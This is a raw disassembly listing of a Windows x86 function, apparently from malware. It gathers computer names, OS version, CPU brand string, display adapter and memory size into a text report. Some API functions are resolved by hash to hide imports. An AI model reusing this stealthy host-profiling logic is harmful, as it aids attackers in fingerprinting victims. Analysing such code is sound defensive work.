call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [esi + 4]
mov dword [eax], 0x100
push eax
mov ebx, dword [esi + 0x30]
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x4759d5]
mov ecx, dword [esi + 0x2c]
mov dword [ecx], eax
mov eax, dword [0x4759d9]
mov dword [ecx + 4], eax
mov eax, dword [0x4759dc]
mov dword [ecx + 7], eax
push ecx
push edi
call fcn.00455b00
add esp, 8
push ebx
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [esi + 4]
mov dword [eax], 0x100
push eax
mov ebx, dword [esi + 0x34]
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x475958]
mov ecx, dword [esi + 0x38]
mov dword [ecx], eax
mov eax, dword [0x47595c]
mov dword [ecx + 4], eax
mov eax, dword [0x475960]
mov dword [ecx + 8], eax
movzx eax, word [0x475964]
mov word [ecx + 0xc], ax
push ecx
push edi
call fcn.00455b00
add esp, 8
push ebx
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [esi + 4]
mov dword [eax], 0x100
push eax
mov ebx, dword [esi + 0x3c]
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x475920]
mov ecx, dword [esi + 0x40]
mov dword [ecx], eax
mov eax, dword [0x475924]
mov dword [ecx + 4], eax
mov eax, dword [0x475928]
mov dword [ecx + 8], eax
mov eax, dword [0x47592c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475930]
mov dword [ecx + 0x10], eax
mov eax, dword [0x475934]
mov dword [ecx + 0x14], eax
mov eax, dword [0x475938]
mov dword [ecx + 0x18], eax
push ecx
push edi
call fcn.00455b00
add esp, 8
push ebx
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [esi + 4]
mov dword [eax], 0x100
push eax
mov ebx, dword [esi + 0x44]
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x4759a0]
mov ecx, dword [esi + 0x48]
mov dword [ecx], eax
mov eax, dword [0x4759a4]
mov dword [ecx + 4], eax
mov eax, dword [0x4759a8]
mov dword [ecx + 8], eax
mov eax, dword [0x4759ac]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4759b0]
mov dword [ecx + 0x10], eax
mov eax, dword [0x4759b4]
mov dword [ecx + 0x14], eax
push ecx
push edi
call fcn.00455b00
add esp, 8
push ebx
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
mov ebx, dword [esi + 0x4c]
push ebx
call fcn.0044d530
add esp, 4
mov dword [esi + 4], eax
push 1
push 0x800
call fcn.004552e7
add esp, 8
push dword [ebx + 8]
push dword [ebx + 4]
push dword [ebx]
mov ecx, dword [esi + 4]
push dword [ecx*4 + 0x475820]
push str._s___d._d._d_
push 0x7ff
push eax
mov ebx, eax
call fcn.0044a7f0
add esp, 0x1c
mov eax, dword [0x4758b1]
mov ecx, dword [esi + 0x58]
mov dword [ecx], eax
mov eax, dword [0x4758b5]
mov dword [ecx + 4], eax
mov eax, dword [0x4758b9]
mov dword [ecx + 8], eax
mov eax, dword [0x4758bc]
mov dword [ecx + 0xb], eax
push ecx
push edi
call fcn.00455b00
add esp, 8
push ebx
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [0x4759c1]
mov ecx, dword [esi + 8]
mov dword [ecx], eax
mov eax, dword [0x4759c5]
mov dword [ecx + 4], eax
movzx eax, byte [0x4759c9]
mov byte [ecx + 8], al
push 0x200
push 0
mov ebx, dword [esi + 0x5c]
push ebx
call fcn.00450830
add esp, 0xc
push ebx
call fcn.00445f00
add esp, 4
push dword [esi + 8]
push edi
call fcn.00455b00
add esp, 8
push ebx
call fcn.00430460
add esp, 4
push eax
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [0x4758e0]
mov ecx, dword [esi + 0x60]
mov dword [ecx], eax
mov eax, dword [0x4758e4]
mov dword [ecx + 4], eax
mov eax, dword [0x4758e8]
mov dword [ecx + 8], eax
mov eax, dword [0x4758ec]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4758f0]
mov dword [ecx + 0x10], eax
movzx eax, byte [0x4758f4]
mov byte [ecx + 0x14], al
push ecx
push edi
call fcn.00455b00
add esp, 8
push dword [esi + 0x50]
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], pe_nt_image_headers32
push dword [esi + 0x54]
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
push 2
push 0x55
call fcn.004552e7
add esp, 8
mov ebx, eax
push str.kernel32.dll
push 0x2f9959e0
call fcn.0044ced0
add esp, 8
push 0x55
push ebx
call eax
push 1
push 0x55
call fcn.004552e7
add esp, 8
push 0x55
push ebx
push eax
mov ebx, eax
call fcn.004596a2
add esp, 0xc
mov eax, dword [0x475869]
mov ecx, dword [esi + 0x64]
mov dword [ecx], eax
mov eax, dword [0x47586d]
mov dword [ecx + 4], eax
mov eax, dword [0x475871]
mov dword [ecx + 8], eax
movzx eax, byte [0x475875]
mov byte [ecx + 0xc], al
push ecx
push edi
call fcn.00455b00
add esp, 8
push ebx
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
push 1
push 0x41
call fcn.004552e7
add esp, 8
mov edi, eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 8], ebx
mov ebx, ecx
mov ecx, eax
mov dword [esi + 4], eax
mov eax, dword [esi + 0x14]
mov dword [eax], ecx
mov ecx, dword [esi + 8]
mov dword [eax + 4], ecx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], edx
mov dword [edi + 0xc], edx
mov dword [edi + 8], ebx
mov dword [edi + 4], ecx
mov eax, dword [esi + 4]
mov dword [edi], eax
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [esi + 8], ebx
mov ebx, ecx
mov ecx, eax
mov dword [esi + 4], eax
mov eax, dword [esi + 0x14]
mov dword [eax], ecx
mov ecx, dword [esi + 8]
mov dword [eax + 4], ecx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], edx
mov dword [edi + 0x1c], edx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x14], ecx
mov eax, dword [esi + 4]
mov dword [edi + 0x10], eax
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [esi + 4], ecx
mov ecx, eax
mov dword [esi + 8], eax
mov eax, dword [esi + 0x14]
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov ecx, dword [esi + 4]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
mov eax, dword [esi + 8]
mov dword [edi + 0x20], eax
mov dword [edi + 0x24], ebx
mov dword [edi + 0x28], ecx
mov dword [edi + 0x2c], edx
mov eax, dword [0x475895]
mov ecx, dword [esi + 0x68]
mov dword [ecx], eax
mov eax, dword [0x475899]
mov dword [ecx + 4], eax
mov eax, dword [0x47589d]
mov dword [ecx + 8], eax
movzx eax, byte [0x4758a1]
mov byte [ecx + 0xc], al
mov eax, dword [esi + 0x18]
mov ebx, dword [eax]
push ecx
push ebx
call fcn.00455b00
add esp, 8
push edi
push ebx
call fcn.00455b00
add esp, 8
push ebx
call fcn.00455ce0
add esp, 4
mov word [ebx + eax], 0xa
mov edi, dword [esi + 0x6c]
lea eax, [edi + 4]
push 0x1a4
push 0
push eax
call fcn.00450830
add esp, 0xc
mov dword [edi], 0x1a8
push 0
push edi
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [0x475a68]
mov ecx, dword [0x475a6c]
mov edx, dword [esi + 0x70]
mov dword [edx + 4], ecx
mov dword [edx], eax
push edx
push ebx
call fcn.00455b00
add esp, 8
add edi, 0x24
push edi
push ebx
call fcn.00455b00
add esp, 8
push ebx
call fcn.00455ce0
add esp, 4
mov word [ebx + eax], 0xa
mov edi, dword [esi + 0x74]
mov dword [edi], 0
mov dword [edi + 4], 0
push str.kernel32.dll
push 0x5f086d32
call fcn.0044ced0
add esp, 8
push edi
call eax
mov eax, dword [edi]
mov edi, dword [edi + 4]
shld edi, eax, 0x16
push 1
push 0xa
call fcn.004552e7
add esp, 8
mov dword [esi + 4], eax
push 0xa
push eax
push edi
call fcn.004547a4
add esp, 0xc
mov eax, dword [0x475a40]
mov ecx, dword [esi + 0x78]
mov dword [ecx], eax
mov eax, dword [0x475a44]
mov dword [ecx + 4], eax
mov eax, dword [0x475a48]
mov dword [ecx + 8], eax
mov eax, dword [0x475a4c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475a50]
mov dword [ecx + 0x10], eax
mov eax, dword [0x475a54]
mov dword [ecx + 0x14], eax
mov eax, dword [0x475a58]
mov dword [ecx + 0x18], eax
movzx eax, word [0x475a5c]
mov word [ecx + 0x1c], ax
push ecx
push ebx
call fcn.00455b00
add esp, 8
push dword [esi + 4]
push ebx
call fcn.00455b00
add esp, 8
mov eax, dword [0x475a74]
mov ecx, dword [esi + 0x7c]
mov dword [ecx], eax
push ecx
push ebx
call fcn.00455b00
add esp, 8
mov eax, dword [0x475a00]
mov ecx, dword [esi + 0x80]
mov dword [ecx], eax
mov eax, dword [0x475a04]
mov dword [ecx + 4], eax
mov eax, dword [0x475a08]
mov dword [ecx + 8], eax
mov eax, dword [0x475a0c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475a10]
mov dword [ecx + 0x10], eax
movzx eax, word [0x475a14]
mov word [ecx + 0x14], ax
mov edi, ecx
push ebx
call fcn.00455ce0
add esp, 4
push eax
push ebx
push edi
mov eax, dword [esi + 0x84]
push dword [eax]
call fcn.00430610
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret